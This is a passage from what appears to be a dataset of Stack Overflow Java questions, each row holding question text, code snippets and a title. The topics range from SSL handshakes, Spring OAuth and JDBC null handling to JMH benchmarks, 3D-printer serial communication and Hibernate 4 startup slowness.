abovethanks , Dean","2019-06-21 08:58:24,562 [ - ] [ webpiecesThreadPool6 ] Caller+1 at org.webpieces.util.threading.SessionExecutorImpl $ RunnableWithKey.run ( SessionExecutorImpl.java:123 ) ERROR : Uncaught Exceptionjava.lang.IllegalStateException : Engine issue . hsStatus=NEED_WRAP status=OK previous hsStatus=NEED_WRAP at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.sendHandshakeMessageImpl ( AsyncSSLEngine3Impl.java:328 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.sendHandshakeMessage ( AsyncSSLEngine3Impl.java:286 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.doHandshakeWork ( AsyncSSLEngine3Impl.java:133 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.doHandshakeLoop ( AsyncSSLEngine3Impl.java:246 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.unwrapPacket ( AsyncSSLEngine3Impl.java:210 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.doWork ( AsyncSSLEngine3Impl.java:109 ) at org.webpieces.ssl.impl.AsyncSSLEngine3Impl.feedEncryptedPacket ( AsyncSSLEngine3Impl.java:82 ) at org.webpieces.nio.impl.ssl.SslTCPChannel $ SocketDataListener.incomingData ( SslTCPChannel.java:175 ) at org.webpieces.nio.impl.threading.ThreadDataListener $ 1.run ( ThreadDataListener.java:26 ) at org.webpieces.util.threading.SessionExecutorImpl $ RunnableWithKey.run ( SessionExecutorImpl.java:121 ) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) at java.base/java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) at java.base/java.lang.Thread.run ( Thread.java:834 ) HandshakeStatus previousStatus = sslEngine.getHandshakeStatus ( ) ; //CLOSE and all the threads that call feedPlainPacket can have contention on wrapping to encrypt and //must synchronize on sslEngine.wrap Status lastStatus ; HandshakeStatus hsStatus ; synchronized ( wrapLock ) { HandshakeStatus beforeWrapHandshakeStatus = sslEngine.getHandshakeStatus ( ) ; if ( beforeWrapHandshakeStatus ! = HandshakeStatus.NEED_WRAP ) throw new IllegalStateException ( `` we should only be calling this method when hsStatus=NEED_WRAP . hsStatus= '' + beforeWrapHandshakeStatus ) ; //KEEEEEP This very small . wrap and then listener.packetEncrypted SSLEngineResult result = sslEngine.wrap ( SslMementoImpl.EMPTY , engineToSocketData ) ; lastStatus = result.getStatus ( ) ; hsStatus = result.getHandshakeStatus ( ) ; } log.trace ( ( ) - > mem+ '' write packet pos= '' +engineToSocketData.position ( ) + '' lim= '' + engineToSocketData.limit ( ) + '' status= '' +lastStatus+ '' hs= '' +hsStatus ) ; if ( lastStatus == Status.BUFFER_OVERFLOW || lastStatus == Status.BUFFER_UNDERFLOW ) throw new RuntimeException ( `` status not right , status= '' +lastStatus+ '' even though we sized the buffer to consume all ? `` ) ; boolean readNoData = engineToSocketData.position ( ) == 0 ; engineToSocketData.flip ( ) ; try { CompletableFuture < Void > sentMsgFuture ; if ( readNoData ) { log.trace ( ( ) - > `` ssl engine is farting . READ 0 data . hsStatus= '' +hsStatus+ '' status= '' +lastStatus ) ; throw new IllegalStateException ( `` Engine issue . hsStatus= '' +hsStatus+ '' status= '' +lastStatus+ '' previous hsStatus= '' +previousStatus ) ; //A big hack since the Engine was not working in live testing with FireFox and it would tell us to wrap //and NOT output any data AND not BufferOverflow ... ..you have to do 1 or the other , right ! //instead cut out of looping since there seems to be no data //sslEngineIsFarting = true ; //sentMsgFuture = CompletableFuture.completedFuture ( null ) ;","java SSLEngine says NEED_WRAP , call .wrap ( ) and still NEED_WRAP" +Java,"I put two output statements , one at the beginning of `` save ( ) '' and one at the end for a custom JSF component . The `` saveState ( ) '' is in the UIComponent object . Why ar e my output statements being printed twice ? Basically this is what I seeThanks .",`` entering save '' '' ending save '' '' entering save '' '' ending save '',In JSF the `` saveState ( ) '' method is being called twice . Why ? +Java,Let 's imagine I have next classes : For example I know that we could change state of fromAcct and toAcct objects only in transferMoney method . So could we rewrite our method with one synchronized block ?,"public class Service { public void transferMoney ( Account fromAcct , Account toAcct , int amount ) { synchronized ( fromAcct ) { synchronized ( toAccount ) { // could we use here only one synchronized block ? fromAcct.credit ( amount ) ; toAccount.debit ( amount ) ; } } } } class Account { private int amount = 0 ; public void credit ( int sum ) { amount = amount + sum ; } public void debit ( int sum ) { amount = amount - sum ; } } public class Service { private final Object mux = new Object ( ) ; public void transferMoney ( Account fromAcct , Account toAcct , int amount ) { synchronized ( mux ) { fromAcct.credit ( amount ) ; toAcct.debit ( amount ) ; } } }",Nested synchronized block +Java,"I am converting my html rendering code to use j2html . Whilst I like the library it is not easy for me to convert all the code in one go so sometimes I may convert the outer html to use j2html but not able to convert the inner html to j2html at the same time . So I would like j2html to be able to accept text passed to it as already rendered , but it always re-renders it soreturnsis there a way I get it to outputFull Test Case",System.out.println ( p ( `` < b > the bridge < /b > '' ) ) ; < p > & lt ; b & gt ; the bridge & lt ; /b & gt ; < /p > < p > < b > the bridge < /b > < /p > import j2html.tags.Text ; import static j2html.TagCreator.b ; import static j2html.TagCreator.p ; public class HtmlTest { public static void main ( String [ ] args ) { System.out.println ( p ( b ( `` the bridge '' ) ) ) ; System.out.println ( p ( `` < b > the bridge < /b > '' ) ) ; } },How do I use j2html without rendering everything +Java,"I 'd like my spring boot application to serve a protected frontend , as well as being an API resource server for said frontend at the same time , but I ca n't get the oauth stuff working.What I want is the spring boot application to return a 302 redirect to the oauth server ( gitlab in my case ) when the browser requests the index.html without a token , so the user is sent to the login form . But I also want that the API to return a 401 when the API is called without a token , as I think a 302 redirect to a login page is not very useful there.In pseudo code : I am working with spring boot 2.1 , regarding oauth my pom.xml containsThis is my naive try in the SecurityConfigBoth configurations ( oauth2Login and oauth2ResourceServer ) work fine for themself . But as soon as I combine them the last one wins ( so in the above example there would be no 302 and the browser would also see a 401 for the index.html ) . I presume they share some configuration objects so the last write wins.Is there an ( easy ) way to get what I want ? I know spring can do almost anything , but I would very much not to end up manually configuring a gazillion beans ... Update : I 've made a minimal example ( including @ dur 's suggestion ) of my code here",if document_url == /index.html and token not valid return 302 https//gitlab/loginpageif document_url == /api/restcall and token not valid return 401server document_url < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-oauth2-resource-server < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-oauth2-client < /artifactId > < /dependency > public class SecurityConfig extends WebSecurityConfigurerAdapter { @ Override protected void configure ( HttpSecurity http ) throws Exception { http .authorizeRequests ( ) .antMatchers ( `` /index.html '' ) .authenticated ( ) .and ( ) .oauth2Login ( ) .loginPage ( `` /oauth2/authorization/gitlab '' ) .and ( ) .authorizeRequests ( ) .antMatchers ( `` /api/restcall '' ) .authenticated ( ) .and ( ) .oauth2ResourceServer ( ) .jwt ( ) ; } },Using Spring Boot 2 OAuth Client and Resourceserver in the same context +Java,"When using JDBC and accessing primitive types via a result set , is there a more elegant way to deal with the null/0 than the following : I personally cringe whenever I see this sort of code . I fail to see why ResultSet was not defined to return the boxed integer types ( except , perhaps , performance ) or at least provide both . Bonus points if anyone can convince me that the current API design is great : ) My personal solution was to write a wrapper that returns an Integer ( I care more about elegance of client code than performance ) , but I 'm wondering if I 'm missing a better way to do this . Just to clarify , what bothers me about this code is not the length , but the fact that a it creates a state dependency between subsequent calls , and what appears like a simple getter actually has a side effect within the same row .",int myInt = rs.getInt ( columnNumber ) if ( rs.wasNull ( ) ) ? { // Treat as null } else { // Treat as 0 },"When accessing ResultSets in JDBC , is there an elegant way to distinguish between nulls and actual zero values ?" +Java,"Anyone have a good solution for scraping the HTML source of a page with content ( in this case , HTML tables ) generated with Javascript ? An embarrassingly simple , though workable solution using Crowbar : The advantage to using Crowbar is that the tables will be rendered ( and accessible ) thanks to the headless mozilla-based browser . Edit : discovered that the problem with Crowbar was a conflicting app , not the server downtime , which was just a coincidence .","< ? phpfunction get_html ( $ url ) // $ url must be urlencode ( d ) { $ context = stream_context_create ( array ( 'http ' = > array ( 'timeout ' = > 120 ) // HTTP timeout in seconds ) ) ; $ html = substr ( file_get_contents ( 'http : //127.0.0.1:10000/ ? url= ' . $ url . ' & delay=3000 & view=browser ' , 0 , $ context ) , 730 , -32 ) ; // substr removes HTML from the Crowbar web service , returning only the $ url HTMLreturn $ html ; } ? >","Anyone have a good solution for scraping the HTML source of a page with content ( in this case , HTML tables ) generated with Javascript ?" +Java,"I have read in some comments by Brian Goetz that serializable lambdas `` have significantly higher performance costs compared to nonserializable lambdas '' .I am curious now : Where exactly is that overhead and what causes it ? Does it affect only the instantiation of a lambda , or also in the invocation ? In the code below , would both cases ( callExistingInstance ( ) and callWithNewInstance ( ) ) be affected by the serializability of `` MyFunction '' , or only the second case ?","interface MyFunction < IN , OUT > { OUT call ( IN arg ) ; } void callExistingInstance ( ) { long toAdd = 1 ; long value = 0 ; final MyFunction < Long , Long > adder = ( number ) - > number + toAdd ; for ( int i = 0 ; i < LARGE_NUMBER ; i++ ) { value = adder.call ( value ) ; } } void callWithNewInstance ( ) { long value = 0 ; for ( int i = 0 ; i < LARGE_NUMBER ; i++ ) { long toAdd = 1 ; MyFunction < Long , Long > adder = ( number ) - > number + toAdd ; value = adder.call ( value ) ; } }",Performance of serializable lambdas in Java 8 +Java,"First question here : it is a very short yet fundamental thing in Java that I do n't know ... In the following case , is the run ( ) method somehow executed with the lock that somemethod ( ) did acquire ?","public synchronized void somemethod ( ) { Thread t = new Thread ( new Runnable ( ) { void run ( ) { ... < -- is a lock held here ? } } t.start ( ) ; ... ( lengthy stuff performed here , keeping the lock held ) ... }",Java : what happens when a new Thread is started from a synchronized block ? +Java,"For some reason I have to manually delete generated folder and run gradle task to get updated POJOs . Is this my setup , expected behavior or a bug ? My setup is as follows :",jooq { library ( sourceSets.main ) { jdbc { driver = 'com.mysql.jdbc.Driver ' url = 'jdbc : mysql : //localhost:3306/library ' user = 'library ' password = '123 ' schema = 'library ' } generator { name = 'org.jooq.util.DefaultGenerator ' strategy { name = 'org.jooq.util.DefaultGeneratorStrategy ' } database { name = 'org.jooq.util.mysql.MySQLDatabase ' inputSchema = 'library ' } generate { daos = true } target { packageName = 'com.example.library.db ' directory = 'src/main/java ' } } } },jOOQ Gradle plugin does not update generated files +Java,"The JVM is started using parameter -XX : +HeapDumpOnOutOfMemoryError . But its not creating heapdump on outofmemory.Does not Java create heapdump when native allocation fails ? Following is the log : -- EDIT -- The max heap size is set to 4GB , System RAM size is 16GB and when it ran out of memory it was using > 11GB ( shown by windows task manager ) .from the discussion with @ alain.janinm ... . i think i can conclude that JVm did n't even have enough memory to generate a heapdump.So , is it possible that creating the heapdump had caused JVM to use that much system memory",# There is insufficient memory for the Java Runtime Environment to continue. # Native memory allocation ( malloc ) failed to allocate 1184288 bytes for Chunk : :new # An error report file with more information is saved as : # D : \product\bin\hs_err_pid5876.logjava.lang.OutOfMemoryError,Does not Java create heapdump when native allocation fails +Java,"How can I get key stores from IBM Websphere in Spring that is located in Websphere ? Is it possible to create the bean and use it , or use it as something different ? Can I use it through the JNDI ?",Security > SSL certificate and key management > Key stores and certificates,Key stores from Websphere +Java,Is it permitted in Java to have a an abstract method within a class and then have it 's implementation in an other with a native language using JNI.example : What is the expected behaviour is it a runtime error that may occurs or everything is fine with `` workaround '' ?,abstract class Mommy { abstract protected void call ( ) ; } class Son extends Mommy { native protected void call ( ) /*'native code'*/ },Native implementation of an abstract method +Java,"A recent debate within my team made me wonder . The basic topic is that how much and what shall we cover with functional/integration tests ( sure , they are not the same but the example is dummy where it does n't matter ) .Let 's say you have a `` controller '' class something like : We need a lot of unit testing for sure ( e.g. , if validation fails , or no data in DB , ... ) , that 's out of question.Our main issue and on what we can not agree is that how much integration tests shall cover it : - ) I 'm on the side that we shall aim for less integration tests ( test pyramid ) . What I would cover from this is only a single happy-unhappy path where the execution returns from the last line , just to see if I put these stuff together it wo n't blow up.The problem is that it is not that easy to tell why did the test result in false , and that makes some of the guys feeling uneasy about it ( e.g. , if we simply check only the return value , it is hidden that the test is green because someone changed the validation and it returns false ) . Sure , yeah , we can cover all cases but that would be a heavy overkill imho.Does anyone has a good rule of thumb for this kind of issues ? Or a recommendation ? Reading ? Talk ? Blog post ? Anything on the topic ? Thanks a lot in advance ! PS : Sry for the ugly example but it 's quite hard to translate a specific code part to an example . Yeah , one can argue about throwing exceptions/using a different return type/etc . but our hand is more or less bound because of external dependencies .",public class SomeController { @ Autowired Validator val ; @ Autowired DataAccess da ; @ Autowired SomeTransformer tr ; @ Autowired Calculator calc ; public boolean doCheck ( Input input ) { if ( val.validate ( input ) ) { return false ; } List < Stuff > stuffs = da.loadStuffs ( input ) ; if ( stuffs.isEmpty ( ) ) { return false ; } BusinessStuff businessStuff = tr.transform ( stuffs ) ; if ( null == businessStuff ) { return false ; } return calc.check ( businessStuff ) ; } },"Integration tests , but how much ?" +Java,"I am trying to persist Java objects to the GAE datastore.I am not sure as to how to persist object having ( `` non-trivial '' ) referenced object.That is , assume I have the following.The name field is unique in each type domain , and is considered a Primary-Key.In order to persist the `` trivial '' ( String , int ) fields , all I need is to add the correct annotation . So far so good.However , I do n't understand how should I persist the home-brewed ( Child , Father ) types referenced.Should I : Convert each such reference to hold the Primary-Key ( a name String , in this example ) instead of the `` actual '' object , so Vector < Child > offsprings ; becomes Vector < String > offspringsNames ; ? If that is the case , how do I handle the object at run-time ? Do I just query for the Primary-Key from Class.getName , to retrieve the refrenced objects ? Convert each such reference to hold the actual Key provided to me by the Datastore upon the proper put ( ) operation ? That is , Vector < Child > offsprings ; becomes Vector < Key > offspringsHashKeys ; ? I have read all the offical relevant GAE docs/example . Throughout , they always persist `` trivial '' references , natively supported by the Datastore ( e.g . in the Guestbook example , only Strings , and Longs ) .","public class Father { String name ; int age ; Vector < Child > offsprings ; //this is what I call `` non-trivial '' reference //ctor , getters , setters ... } public class Child { String name ; int age ; Father father ; //this is what I call `` non-trivial '' reference //ctor , getters , setters ... }",GAE Datastore : persisting referenced objects +Java,"I 'm having hash map with below values , in values I 've date as string data type . I would like to compare all the dates which is available in map and extract only one key-value which has a very recent date.I would like to compare with values not keys.I 've included the code belowThe expected output for this one is : Key 4 Value 2014-09-09","import java.util.HashMap ; import java.util.Map ; public class Test { public static void main ( String [ ] args ) { Map < String , String > map = new HashMap < > ( ) ; map.put ( `` 1 '' , `` 1999-01-01 '' ) ; map.put ( `` 2 '' , `` 2013-10-11 '' ) ; map.put ( `` 3 '' , `` 2011-02-20 '' ) ; map.put ( `` 4 '' , `` 2014-09-09 '' ) ; map.forEach ( ( k , v ) - > System.out.println ( `` Key : `` + k + `` Value : `` + v ) ) ; } }",How to find the latest date from the given map value in java +Java,Recently I faced this question in an Interview : Write a function to return a deep clone instance of class Drawingwhere shape is an abstract class having many concrete implementationsCan anyone please tell how to approach this ? Do we need to add the clone method in all the concrete implementations ?,public class Drawing { public List < Shape > shapes=new LinkedList < Shape > ( ) ; } public abstract class Shape implements Serializable { },Deep Cloning of Collections in java +Java,"I have certain flow that runs async using the CompletableFuture , e.g . : So if my foo ( ) returns null ( in a future ) I need to break very soon , otherwise , the flow continue.For now I have to check for null all the way , in every future block ; but that is ugly.Would this be possible with CompletableFuture ? EDITWith CompletableFuture you can define your flow of async tasks , that are executed one after the other . For example , you may say : Do A , and when A finishes , do B , and then do C ... My question is about breaking this flow and saying : Do A , but if result is null break ; otherwise do B , and then do C ... This is what I meant by 'breaking the flow ` .",foo ( ... ) .thenAccept ( aaa - > { if ( aaa == null ) { break ! } else { ... } } ) .thenApply ( aaa - > { ... } ) .thenApply ( ...,Break the flow of CompletableFuture +Java,"I have to write a java program that receives G-Code commands via network and sends them to a 3D printer via serial communication . In principle everything seems to be okay , as long as the printer needs more than 300ms to execute a command . If execution time is shorter than that , it takes too much time for the printer to receive the next command and that results in a delay between command execution ( printer nozzle standing still for about 100-200ms ) . This can become a problem in 3d printing so i have to eliminate that delay.For comparison : Software like Repetier Host or Cura can send the same commands via seial without any delay between command execution , so it has to be possible somehow.I use jSerialComm library for serial communication.This is the Thread that sends commands to the printer : this is printer.serialWrite : ( `` Inspired '' by Arduino Java Lib ) printer is an Object of class Printer which implements com.fazecast.jSerialComm.SerialPortDataListenerrelevant functions of PrinterPrinter.bufferAvailable is declared volatileI also tried blocking functions of jserialcomm in another thread , same result.Where is my bottleneck ? Is there a bottleneck in my code at all or does jserialcomm produce too much overhead ? For those who do not have experience in 3d-printing : When the printer receives a valid command , it will put that command into an internal buffer to minimize delay . As long as there is free space in the internal buffer it replies with ok . When the buffer is full , the ok is delayed until there is free space again.So basicly you just have to send a command , wait for the ok , send another one immediately .","@ Overridepublic void run ( ) { if ( printer == null ) return ; log ( `` Printer Thread started ! `` ) ; //wait just in case Main.sleep ( 3000 ) ; long last = 0 ; while ( true ) { String cmd = printer.cmdQueue.poll ( ) ; if ( cmd ! = null & & ! cmd.equals ( `` '' ) & & ! cmd.equals ( `` \n '' ) ) { log ( cmd+ '' last : `` + ( System.currentTimeMillis ( ) -last ) + '' ms '' ) ; last = System.currentTimeMillis ( ) ; send ( cmd + `` \n '' , 0 ) ; } } } private void send ( String cmd , int timeout ) { printer.serialWrite ( cmd ) ; waitForBuffer ( timeout ) ; } private void waitForBuffer ( int timeout ) { if ( ! blockForOK ( timeout ) ) log ( `` OK Timeout ( `` +timeout+ '' ms ) '' ) ; } public boolean blockForOK ( int timeoutMillis ) { long millis = System.currentTimeMillis ( ) ; while ( ! printer.bufferAvailable ) { if ( timeoutMillis ! = 0 ) if ( millis + timeoutMillis < System.currentTimeMillis ( ) ) return false ; try { sleep ( 1 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } printer.bufferAvailable = false ; return true ; } public void serialWrite ( String s ) { comPort.setComPortTimeouts ( SerialPort.TIMEOUT_SCANNER , 0 , 500 ) ; try { Thread.sleep ( 5 ) ; } catch ( Exception e ) { } PrintWriter pout = new PrintWriter ( comPort.getOutputStream ( ) ) ; pout.print ( s ) ; pout.flush ( ) ; } @ Overridepublic int getListeningEvents ( ) { return SerialPort.LISTENING_EVENT_DATA_AVAILABLE ; } @ Overridepublic void serialEvent ( SerialPortEvent serialPortEvent ) { byte [ ] newData = new byte [ comPort.bytesAvailable ( ) ] ; int numRead = comPort.readBytes ( newData , newData.length ) ; handleData ( new String ( newData ) ) ; } private void handleData ( String line ) { //log ( `` RX : `` +line ) ; if ( line.contains ( `` ok '' ) ) { bufferAvailable = true ; } if ( line.contains ( `` T : '' ) ) { printerThread.printer.temperature [ 0 ] = Utils.readFloat ( line.substring ( line.indexOf ( `` T : '' ) +2 ) ) ; } if ( line.contains ( `` T0 : '' ) ) { printerThread.printer.temperature [ 0 ] = Utils.readFloat ( line.substring ( line.indexOf ( `` T0 : '' ) +3 ) ) ; } if ( line.contains ( `` T1 : '' ) ) { printerThread.printer.temperature [ 1 ] = Utils.readFloat ( line.substring ( line.indexOf ( `` T1 : '' ) +3 ) ) ; } if ( line.contains ( `` T2 : '' ) ) { printerThread.printer.temperature [ 2 ] = Utils.readFloat ( line.substring ( line.indexOf ( `` T2 : '' ) +3 ) ) ; } }",How to correctly communicate with 3D Printer +Java,"I have a JMH multi-thread test : In current variant I have performance ~ 55 ops/usBut , if I uncomment `` Special line '' , or replace it with unsafe.putOrderedObject ( in any direction - current.next = o or o.next = current ) , performance ~ 2 ops/us.As I understand , that is something happens with CPU-caches and maybe it 's cleaning the store-buffer . If I do replace it to lock-based method , without CAS , performance will be 11-20 ops/us.I trying use LinuxPerfAsmProfiler and PrintAssembly , in the second case I see : Can someone explain to me what really happen ? Why it 's so slow ? Where here store-load barrier ? Why is putOrdered not working ? And how to fix it ?","@ State ( Scope.Benchmark ) @ BenchmarkMode ( Mode.Throughput ) @ OutputTimeUnit ( TimeUnit.MICROSECONDS ) @ Fork ( value = 1 , jvmArgsAppend = { `` -Xmx512m '' , `` -server '' , `` -XX : +AggressiveOpts '' , '' -XX : +UnlockDiagnosticVMOptions '' , `` -XX : +UnlockExperimentalVMOptions '' , `` -XX : +PrintAssembly '' , `` -XX : PrintAssemblyOptions=intel '' , `` -XX : +PrintSignatureHandlers '' } ) @ Measurement ( iterations = 5 , time = 5 , timeUnit = TimeUnit.SECONDS ) @ Warmup ( iterations = 3 , time = 2 , timeUnit = TimeUnit.SECONDS ) public class LinkedQueueBenchmark { private static final Unsafe unsafe = UnsafeProvider.getUnsafe ( ) ; private static final long offsetObject ; private static final long offsetNext ; private static final int THREADS = 5 ; private static class Node { private volatile Node next ; public Node ( ) { } } static { try { offsetObject = unsafe.objectFieldOffset ( LinkedQueueBenchmark.class.getDeclaredField ( `` object '' ) ) ; offsetNext = unsafe.objectFieldOffset ( Node.class.getDeclaredField ( `` next '' ) ) ; } catch ( Exception ex ) { throw new Error ( ex ) ; } } protected long t0 , t1 , t2 , t3 , t4 , t5 , t6 , t7 ; private volatile Node object = new Node ( null ) ; @ Threads ( THREADS ) @ Benchmarkpublic Node doTestCasSmart ( ) { Node current , o = new Node ( ) ; for ( ; ; ) { current = this.object ; if ( unsafe.compareAndSwapObject ( this , offsetObject , current , o ) ) { //current.next = o ; //Special line : break ; } else { LockSupport.parkNanos ( 1 ) ; } } return current ; } } ... . [ Hottest Regions ] ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... . 25.92 % 17.93 % [ 0x7f1d5105fe60:0x7f1d5105fe69 ] in SpinPause ( libjvm.so ) 17.53 % 20.62 % [ 0x7f1d5119dd88:0x7f1d5119de57 ] in ParMarkBitMap : :live_words_in_range ( HeapWord* , oopDesc* ) const ( libjvm.so ) 10.81 % 6.30 % [ 0x7f1d5129cff5:0x7f1d5129d0ed ] in ParallelTaskTerminator : :offer_termination ( TerminatorTerminator* ) ( libjvm.so ) 7.99 % 9.86 % [ 0x7f1d3c51d280:0x7f1d3c51d3a2 ] in com.jad.generated.LinkedQueueBenchmark_doTestCasSmart : :doTestCasSmart_thrpt_jmhStub",Java lock-free performance JMH +Java,"we are trying to migrate our project from hibernate 3 to hibernate 4 . Everything is working fine , but the problem is the startup.We do not use JPA , we use direct hibernate with the xml file and mapping files.The property generated.mappingFile is an own property . On startup the file will be loaded ( dev.xml ) . This file looks like this : We reduced the number of mapping in this post . we do have more then 500 mappings in the moment.With hibernate 3 it took 2 seconds to load all mappings . With hibernate 4 it takes over 2 minutes.Here is the log file from hibernate 3.2.GA : With hibernate 4.3.8-Final : The method which adds the mapping files look like this : The time lack is on addResource . We also tried it by moving the mapping element directly to the hibernate.cfg.xml file but it takes the same time to startup . We believe hibernate is validating something what hibernate 3 did not . Has anyone an idea to fix this issue ? We can not wait 2 minutes for each test run.Thanks a lot and many greetings , HaukeUPDATEI changed the loglevel to `` DEBUG '' and now it comes this : I changed to loglevel to debug and this is coming out now : So it seems that the DTDEntityResolver takes about 200ms - 400ms for each entity . With 500 entities this will sum up.So the question is , how to disable that ?","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ! DOCTYPE hibernate-configuration PUBLIC `` -//Hibernate/Hibernate Configuration DTD 3.0//EN '' `` http : //hibernate.org/dtd/hibernate-configuration-3.0.dtd '' > < hibernate-configuration > < session-factory > < property name= '' hibernate.connection.driver_class '' > com.informix.jdbc.IfxDriver < /property > < property name= '' hibernate.connection.url '' > jdbc : informix-sqli : //xxx : xxx/xxx : INFORMIXSERVER=xxx < /property > < property name= '' hibernate.connection.username '' > xxx < /property > < property name= '' hibernate.connection.password '' > xxx < /property > < property name= '' hibernate.dialect '' > org.hibernate.dialect.InformixDialect < /property > < property name= '' hibernate.format_sql '' > true < /property > < property name= '' hibernate.show_sql '' > false < /property > < property name= '' generated.mappingFile '' > dev.xml < /property > < /session-factory > < /hibernate-configuration > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/aart/Aart_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/abteilung/Abteilung_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/adr/Adr_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/adraesort/Adraesort_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/adrakte/Adrakte_DEV.hbm.xml '' / > ... < mapping resource= '' de/cargosoft/edi/cargoservice/entities/zollanmtxt/Zollanmtxt_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/sstbasis/Sstbasis_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/sststruktur/Sststruktur_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/ssthandler/Ssthandler_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/sstproperty/Sstproperty_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/sstprophandler/Sstprophandler_DEV.hbm.xml '' / > < mapping resource= '' de/cargosoft/edi/cargoservice/entities/sstneustart/Sstneustart_DEV.hbm.xml '' / > 07:36:21,293 INFO [ HibernateManager ] | Verwende Mapping-Collection Datei : /com/cargosoft/csedi/data/mappings_dev.xml 07:36:21,347 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/aart/Aart_DEV.hbm.xml 07:36:21,443 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/abteilung/Abteilung_DEV.hbm.xml 07:36:21,458 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/adr/Adr_DEV.hbm.xml 07:36:21,495 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/adraesort/Adraesort_DEV.hbm.xml 07:36:21,523 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/adrakte/Adrakte_DEV.hbm.xml ... 07:36:23,475 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/zollanmtxt/Zollanmtxt_DEV.hbm.xml 07:36:23,477 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/sstbasis/Sstbasis_DEV.hbm.xml 07:36:23,479 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/sststruktur/Sststruktur_DEV.hbm.xml 07:36:23,481 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/ssthandler/Ssthandler_DEV.hbm.xml 07:36:23,482 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/sstproperty/Sstproperty_DEV.hbm.xml 07:36:23,484 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/sstprophandler/Sstprophandler_DEV.hbm.xml 07:36:23,486 INFO [ HibernateManager ] | Adding this resource to hibernate now : com/cargosoft/csedi/data/sstneustart/Sstneustart_DEV.hbm.xml 07:36:23,488 INFO [ HibernateManager ] | Create new SessionFactory for : jdbc : informix-sqli : // ... 07:38:04,749 INFO [ HibernateManager ] | Verwende Mapping-Collection Datei : /de/cargosoft/edi/cargoservice/entities/mappings_dev.xml 07:38:04,824 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/aart/Aart_DEV.hbm.xml 07:38:05,249 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/abteilung/Abteilung_DEV.hbm.xml 07:38:05,527 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/adr/Adr_DEV.hbm.xml 07:38:05,792 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/adraesort/Adraesort_DEV.hbm.xml 07:38:06,077 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/adrakte/Adrakte_DEV.hbm.xml ... 07:40:14,119 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/zollanmtxt/Zollanmtxt_DEV.hbm.xml 07:40:14,499 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/sstbasis/Sstbasis_DEV.hbm.xml 07:40:14,746 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/sststruktur/Sststruktur_DEV.hbm.xml 07:40:14,972 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/ssthandler/Ssthandler_DEV.hbm.xml 07:40:15,211 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/sstproperty/Sstproperty_DEV.hbm.xml 07:40:15,434 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/sstprophandler/Sstprophandler_DEV.hbm.xml 07:40:15,657 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/sstneustart/Sstneustart_DEV.hbm.xml 07:40:15,878 INFO [ HibernateManager ] | Create new SessionFactory for : jdbc : informix-sqli : // ... for ( Node node : nodes ) { Element element = ( Element ) node ; String resource = element.attributeValue ( `` resource '' ) ; logger.info ( `` Adding this resource to hibernate now : `` + resource ) ; configuration.addResource ( resource ) ; } 11:29:22,781 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/aart/Aart_DEV.hbm.xml 11:29:22,782 INFO [ Configuration ] | HHH000221 : Reading mappings from resource : de/cargosoft/edi/cargoservice/entities/aart/Aart_DEV.hbm.xml 11:29:22,804 